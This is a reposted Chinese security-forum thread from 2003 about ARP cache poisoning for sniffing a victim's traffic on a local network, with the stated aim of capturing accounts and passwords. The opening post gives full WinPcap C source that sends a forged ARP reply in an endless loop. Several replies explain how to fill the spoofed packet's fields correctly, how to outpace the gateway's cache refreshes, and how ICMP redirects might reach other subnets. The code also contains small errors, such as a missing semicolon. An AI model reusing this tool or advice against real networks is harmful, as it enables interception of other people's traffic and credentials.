再谈利用ARP欺骗实现嗅探 (cool文一篇 回帖非常好)
来源:互联网 发布:双色球公式算法 编辑:程序博客网 时间:2024/05/16 13:03
nethorse |
| ||
发帖: 47 积分: 0 注册: 2003-02-12 | 再谈利用ARP欺骗实现嗅探 设有主机A、B、C在同一个局域网中,且网关为G。A,C为要监听的主机,B为我们的机器。目前的大多数工具的实现是欺骗A和与A通信的主机C对方的MAC均为B,这样就可以监听它们的通信。但是实际上大多数情况下,我们感兴趣的是A与网关G的通信,而其中又尤其对A发出的一些信息感兴趣,譬如账号、密码,至于G又向A发送了什么数据,我们不太关心。 那么在这种情况下,就没有必要欺骗网关G(告诉G,A的MAC为B)。只欺骗A主机,告诉它网关G的MAC为B。这样A,G之间的通信就成了这个样子: A------->B------>G A<----------------G 很明显,若A收发的数据相当,那么经过B的数据量几乎少了一半,当然也就节省了网络带宽和B主机的负担。 下面给出在xp+vc6.0平台且被欺骗主机也为xp时用WinPcap实现的代码(本机需开ip路由功能): #include <stdlib.h> #include <pcap.h> #pragma comment(lib,"wpcap") int main(int argc, char **argv) { pcap_if_t * alldevs, * d; pcap_t *fp; char error[PCAP_ERRBUF_SIZE]; u_char packet[60]; int i=0,inum; /* Retrieve the device list */ if (pcap_findalldevs(&alldevs, error) == -1) { fprintf(stderr,"Error in pcap_findalldevs: %s/n", error); exit(1); } /* Print the list */ for(d=alldevs; d; d=d->next) { printf("%d. %s", ++i, d->name); if (d->description) printf(" (%s)/n", d->description); else printf(" (No description available)/n"); } if(i==0) { printf("/nNo interfaces found! Make sure WinPcap is installed./n"); return -1; } printf("Enter the interface number (1-%d):",i); scanf("%d", &inum); if(inum < 1 || inum > i) { printf("/nInterface number out of range./n"); /* Free the device list */ pcap_freealldevs(alldevs); return -1; } /* Jump to the selected adapter */ for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++); /* Open the output adapter */ if((fp = pcap_open_live(d->name, 60, 1, 1000, error) ) == NULL) { fprintf(stderr,"/nError opening adapter: %s/n", error); return -1; } pcap_freealldevs(alldevs); /* mac of target you want to spoof */ packet[0]=0x00; packet[1]=0x00; packet[2]=0x00; packet[3]=0x00; packet[4]=0x00; packet[5]=0x00; /* mac of your host */ packet[6]=0x00; packet[7]=0x00; packet[8]=0x00; packet[9]=0x00; packet[10]=0x00; packet[11]=0x00; /* set the protocol type */ packet[12]=8; packet[13]=6; /* set the hard and protocol type */ packet[14]=0; packet[15]=1; packet[16]=8; packet[17]=0; /* set the length */ packet[18]=6; packet[19]=4; /* set the operation type */ packet[20]=0; packet[21]=2; /* mac of your host */ packet[22]=0x00; packet[23]=0x00; packet[24]=0x00; packet[25]=0x00; packet[26]=0x00; packet[27]=0x00; /* ip of the gateway */ packet[28]=0; packet[29]=0; packet[30]=0; packet[31]=0; /* mac of the target you want to spoof */ packet[32]=0x00; packet[33]=0x00; packet[34]=0x00; packet[35]=0x00; packet[36]=0x00; packet[37]=0x00; /* ip of the target you want to spoof */ packet[38]=0 packet[39]=0; packet[40]=0; packet[41]=0; /* Fill the rest of the packet */ for(i=42;i<60;i++){ packet[i]=0; } /* Send down the packet */ while(1) { Sleep(2000); pcap_sendpacket(fp,packet,60); } return 0; } 附: 对于怎样实现ARP欺骗,很可能不同的网络没有一定的法则可循。我用的是XPsp1专业版,对于arp reply若发送端不是网关则ip不更新arp缓存,而该程序正好是网关的ip。 nethorse 编辑于 2003-12-10 14:15 --- 我没有笔记本电脑,我想有一台! | ||
love1983 |
| ||
发帖: 163 积分: 0 注册: 2003-08-16 | 收藏学习ING --- 生活和学习要充满激情,否则你无法体会淋漓尽致的欢乐与痛苦 | ||
prfone |
| ||
发帖: 812 积分: 0 注册: 2002-01-11 | 如果G----->A的通信频繁发生,那么A的ARP缓存中网关IP与MAC的对应关系会在IP<-->B的MAC与 IP<--->G的MAC之间不断的变化,导致A--->B--->G的通信也不是非常顺畅, 不知道你遇见过吗? --- 缘生缘灭缘自在。。。 | ||
nethorse |
| ||
发帖: 47 积分: 0 注册: 2003-02-12 |
G---->A的正常通信并不会改变A的ARP缓存中网关IP与MAC的对应关系,除非G发送ARP请求。但是经过Sniffer发现(在我的局域网中,不同的局域网可能不同),G发送ARP请求并不太频繁,而且我们可以调节对A发包欺骗的间隔时间。 就算这期间,A的ARP缓存中网关IP与MAC的对应关系会在IP<-->B的MAC与 IP<--->G的MAC之间不断的变化,由于arp只是链路层协议,对A和G之间的正常通信一点也没有影响。只是B偶尔会漏掉A发的几个数据报。 --- 我没有笔记本电脑,我想有一台! | ||
prfone |
| ||
发帖: 812 积分: 0 注册: 2002-01-11 | 我的局域网网关是一个Linux PC,我发现他会非常频繁的发送ARP请求,不知道它的ARP缓存时间是不是没有作用, 不知道你的网关是什么系统? --- 缘生缘灭缘自在。。。 | ||
prfone |
| ||
发帖: 812 积分: 0 注册: 2002-01-11 | 当整个局域网处于忙碌状态时,比如网关G需要解析另一台局域网机器D的MAC,G会广播ARP请求,这时A也会收到G的这个请求,A会比较目前G与MAC的对应关系,发现G的Ip--->B的MAC,则更新ARP缓存。这样以来,A的ARP缓冲中G的对应关系岂不是变换不定? --- 缘生缘灭缘自在。。。 | ||
xmhp |
| ||
发帖: 79 积分: 0 注册: 2002-07-09 | 同一子网下,ARP欺骗可以成功。 但不同子网下如何ARP欺骗呀? | ||
follow |
| ||
发帖: 113 积分: 0 注册: 2003-01-04 | 据说可以配合ICMP重定向实现,你有时间可以试试. --- 小楼一夜听春雨,深巷明朝卖杏花. | ||
yiedu |
| ||
发帖: 446 积分: 0 注册: 2003-03-25 | ARP欺骗的原理大家都知道,但是有些细节方面的问题大家都没有指出过,prfone 的问题就很典型,我也碰到过类似的问题。原因一直不清楚。说出来还希望大家多指点 模型还是上面的。 先在我已经成欺骗了A 并观察A 的缓存表中的G的MAC确实已经是我的(B)的MAC了,但是A用IE上网时B上并不能够捕获到A的数据包,不知道为什么?说明B已经设置为混杂模式。 可能的原因:A每当建立连接请求时就会向网关发送ARP请求,所以会立即改变缓存。即便我在B上欺骗的速度很快。 还有一个现象:当A向内网中的某个IP发送数据包时B却能够捕获到来字A的数据。而用IE上外网时却捕获不到,很奇怪? --- 留恋校园里的灯光,落叶,还有古老的吉他声。 曾经爱过又没有勇气向你表白的女孩,你现在还好吗? | ||
prfone |
| ||
发帖: 812 积分: 0 注册: 2002-01-11 | yiedu,你的路由器是什么真正的路由器?Cisco的?你可以通过抓包分析A的ARP包情况! --- 缘生缘灭缘自在。。。 |
ffantasyYD |
| ||
发帖: 61 积分: 0 注册: 2003-09-19 | 关注yiedu 的问题 --- 重庆网络安全小组 虎盟网络安全小组 我的主页 | ||
xtiger |
| ||
发帖: 139 积分: 0 注册: 2002-10-25 |
真正的ARPSPOOF应该是全双工的,而不是半工的。 只有这样才能保证整个数据流的转发顺利。 而你叙述的现象,正好符合半工欺骗的现象。 xtiger 编辑于 2003-12-17 18:47 | ||
sparrow1 |
| ||
发帖: 52 积分: 0 注册: 2003-10-26 | 关注 yiedu 的问题,同时建议抓一下A的包,仔细分析原因所在。 另外,xtiger 所提到的全双工,是不是指双向的欺骗加转发?我觉得这样才可以保证数据通讯的完整性。 我没有具体试过,不过前两天看到这里首页上的《ARP协议揭密》才明白了一点,望指点…… | ||
isxiaobai |
| ||
发帖: 40 积分: 0 注册: 2003-11-16 |
yiedu,就你的问题,我谈一下我的看法, 你的问题我曾经也碰到过,就是当成功欺骗一台主机和网关之后, 用sniff可以得到网关发送给主机的数据报, 可是得不到主机发出的数据报。 不过,后来我解决了。 其实,是这样的,出现这种情况肯定是你的程序有问题, 也就是你发送给主机的arp包有问题, 发送给目标主机的arp包应该是下面这种方式的: 首先是物理头:主机MAC 本机MAC 0806(ARP type) 然后是arp头,这个里面其他的不重要,我说一下其中的几个地址填写: 其中Sender's Hardware address为本机MAC, Sender's IP Address为网关IP **(主要就是这个了) Target's Hardware address为目标主机MAC, Sender's IP Address为目标主机IP 只要这些填对了,那么就肯定能收到对方主机的所有数据包了。 而出现收不到主机发出的数据包的问题出现原因, 我想就是你程序的原因了。 我最先做的程序里面也是出现这个问题, 后来查了半天,通过iris抓arp包才发现的是填写出现了问题, 所以,发送给主机的arp包不能让它重定向, 而发送给网关的没有问题,所以,只能受到一部分数据报,就是网关发过来的。 建议你查看一下目标主机的arp列表, 看看,对应网关IP地址的那个物理地址是不是你的MAC, 如果不是,那就是没有欺骗成功,那就肯定是arp的问题。 我的想法就是这样了, yiedu,如果你还是没有解决,可以跟我聊聊。 另外,说一下我的网络环境是: 一台思科Catalyst 1900交换机 两台主机都是windows 2K pro操作系统。 我的程序对网关和目标主机发送arp包。 花了两个小时调成功了arp欺骗的程序, 都两点了,看来真要搞的通宵了,呵呵 btw:xiaobai这个id还是没有找回来,只好用isxiaobai这个马甲来灌了,正好天冷,唉,亲爱的san啊,什么时候能找到你呢,我要我的id啊?? isxiaobai 编辑于 2003-12-18 02:26 | ||
isxiaobai |
| ||
发帖: 40 积分: 0 注册: 2003-11-16 |
老哥,我也想对你的说法提一点想法, 我也做了arp欺骗的程序了, 发现,对方主机只要收到这个arp-reply的包, 就会自动刷新自己的arp缓存, 当然,我说的都是2K系统,我是*nix盲,唉。 所以,不管你的网关刷新有多频繁, 你只要比它快,就可以保证目标主机始终通过你来发送数据。 只要你不停地发送arp包,让对方更新,就可以了。 关于arp包的格式,在上面回答yiedu的里面就写了。 顺便说一下,网上的好多arp程序都是有点问题的, 好多都会出现一些yiedu提到的问题, 你要仔细查一下发送出的arp包到底是不是我们想要的, 呵呵。 | ||
isxiaobai |
| ||
发帖: 40 积分: 0 注册: 2003-11-16 | 借这个帖子,顺便问一下我碰到的问题吧, 我用winpcap实现了arp欺骗,成功了, 用iris也抓到了别欺骗主机的数据包。 由于我以前写过一个用sockraw实现的sniff工具, 所以,懒得再写代码了,就直接粘贴过来, 实际上就是用winpcap欺骗后,用sockraw来抓数据包, 可是,问题就出在这了, 没想到winpcap竟然和sockraw 冲突, 两个一同时运行就死机蓝屏。 请问各位,有没有遇到这种情况,怎么解决的?? 顺便,还有一个问题, 就是winpcap,我怎么能做到用自己的程序来安装winpcap, 而不用执行它的图形化的安装程序呢? | ||
narcissus |
| ||
发帖: 5 积分: 0 注册: 2003-12-11 |
不管你的刷新有多快,中间毕竟还是有间隙的。如果正是在这个间隙收到网关的arp包,也正是在这个间隙中目标机发包,那岂不是欺骗失败。 --- 我的意中人是个盖世英雄,有一天他会踩着七色的云彩来娶我,我猜中了前头, 可是我猜不着这结局…… | ||
isxiaobai |
| ||
发帖: 40 积分: 0 注册: 2003-11-16 | 哎呀,间隙是肯定的啦,不过,这样只不过是一小段时间, 绝大部分的数据报我还是可以得到的啊, 况且,也根本不影响目标机啊, arp缓存对目标机来说,也没有什么影响啊, 只不过是不用绕我这里而已 | ||
sparrow1 |
| ||
发帖: 52 积分: 0 注册: 2003-10-26 | isxiaobai,你真的通宵了?注意身体呀! | ||
isxiaobai |
| ||
发帖: 40 积分: 0 注册: 2003-11-16 | 没关系,习惯了啊 |
prfone |
| ||
发帖: 812 积分: 0 注册: 2002-01-11 | 1、直接使用Winpcap修改你的Sniffer得了。 2、我认为按照服务安装npf.sys驱动,把DLL拷贝到系统目录下,应该就可以了。 --- 缘生缘灭缘自在。。。 |
- 再谈利用ARP欺骗实现嗅探 (cool文一篇 回帖非常好)
- 再谈利用ARP欺骗实现嗅探
- 利用ARP欺骗+sslsplit实现ssl连接嗅探
- 利用ARP欺骗实现Sniffer目的(linux)
- 利用SSLStrip & Ettercap ARP欺骗嗅探密码
- ARP欺骗嗅探技术
- delphi实现利用arp欺骗来实现上网计费功能
- 实现ARP欺骗1
- ARP中间人欺骗实现
- Linux下利用ARP欺骗实现Sniffer目的
- Linux下利用ARP欺骗实现Sniffer目的
- 利用WinPcap编程,实现基于ARP欺骗的中间人攻击
- arp欺骗与利用工具
- 基于ARP欺骗的嗅探原理
- 基于ARP欺骗的嗅探原理
- 基于ARP欺骗的嗅探原理
- 无ARP欺骗的嗅探技术
- 无ARP欺骗的嗅探技术
- wincap and sniffer
- 2004.11.05,Fri - 厉兵秣马
- 跆拳道考级换带内容(WTF)
- 增强记忆的基础性方法
- 教育实习总结
- 再谈利用ARP欺骗实现嗅探 (cool文一篇 回帖非常好)
- iptables命令的使用备忘
- 活着既是美丽着
- 毕业设计课题的关于NetFilter/iptables的Shell脚本(单网卡版)
- ARP协议学习小结——协议简介和图形化工具SendARP
- 现代跆拳道自卫十大心法秘诀
- 感受
- 比较两个项目经理
- TaskVision 解决方案概述:设计与实现